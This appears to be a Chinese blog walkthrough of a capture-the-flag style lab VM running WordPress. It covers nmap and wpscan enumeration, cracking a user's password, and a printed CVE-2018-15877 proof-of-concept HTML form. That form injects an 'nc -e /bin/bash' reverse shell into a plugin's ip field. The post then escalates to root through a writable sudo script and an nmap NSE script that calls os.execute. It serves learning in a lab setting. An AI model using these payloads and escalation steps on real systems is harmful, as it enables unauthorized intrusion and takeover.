首页 技术 正文
技术 2022年11月21日
0 收藏 509 点赞 4,509 浏览 2565 个字

信息搜集

nmap -sP 192.168.146.0/24#找靶机ip

nmap -sS -Pn -A 192.168.146.143 #扫描靶机信息

22和80端口,老朋友了。

先直接访问http://192.168.146.143/,显示http://wordy/。

在C:\Windows\System32\drivers\etc下的HOSTS文件中增加192.168.146.143 wordy

又是wp,直接上wpscan扫描。

wpscan --url http://wordy/ -e u #爆破用户名

爆破出5个用户名admin,jens,graham,sarah,mark

再爆破密码,直接用kali自带的/usr/share/wordlists/rockyou.txt(估计要跑几天)

然后逛逛官网看到了提示

直接冲

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt #提取字典中有k01的数据
wpscan --url http://wordy/ -U admin,jens,graham,sarah,mark -P passwords.txt
#Username: mark, Password: helpdesk01

getFlag

用获得的账号在http://wordy/wp-login.php登陆

浏览下,发现一个可疑的功能Activity monitor,直接searchsploit搜索下。

看到一个很符合的,再看看他的html文件。

<html>
<!-- WordPress Plainview Activity Monitor RCE
[+] Version: 20161228 and possibly prior
[+] Description: Combine OS Commanding and CSRF to get reverse shell
[+] Author: LydA(c)ric LEFEBVRE
[+] CVE-ID: CVE-2018-15877
[+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell
[+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well
-->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
<input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 9999 -e /bin/bash" />
<input type="hidden" name="lookup" value="Lookup" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

看来是一个命令执行了,直接提取到poc.html文件,改下action和执行的命令就可以用了。

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
<input type="hidden" name="ip" value="google.fr | nc 192.168.146.143 -e /bin/bash" />
<input type="hidden" name="lookup" value="Lookup" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

攻击机 nc -lvvp 4444 成功getshell

python -c 'import pty; pty.spawn("/bin/bash") #使用交互式命令行'

接下来同样思路,先去看看/home下的几个用户。

在mark目录下发现工作日志,里面也有gramham的密码。

su graham #直接切换用户,密码GSo7isUM1D4

然后再浏览下其他三个用户的东西,没发现什么。

这时候考虑提权看看 sudo -l,发现可以免密执行jens的命令 /home/jens/backups.sh

这里的backups我们是可以写的。

那么执行这个脚本的时候会以jens用户来执行,方法:sudo -u jens /home/jens/backups.sh

我们让jens执行/bin/bash不就直接得到了jens的shell了吗?

echo "/bin/bash" > backups.sh   #写入文件
sudo -u jens /home/jens/backups.sh

sudo -l #在看看有什么sudo权限

emmm…..可以以root身份运行nmap,nmap能干的事很多来着。。。搜索一下。

主要有两种方法:使用–interactive选项,或者写一个nse脚本

参考p牛的文章:https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

这里的nmap比较新没有–interactive选项了,所以从nse脚本入手

echo 'os.execute("/bin/sh")' > A1oe.nse  #写脚本
sudo /usr/bin/nmap --script=/home/jens/A1oe.nse #使用nmap

拿到flag

总结

本次靶机也并不难,主要自己走了一遍nmap提权。

主要有两个方法:–interactive选项还有nse脚本。

相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:9,031
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,520
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,368
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,148
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:7,781
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:4,861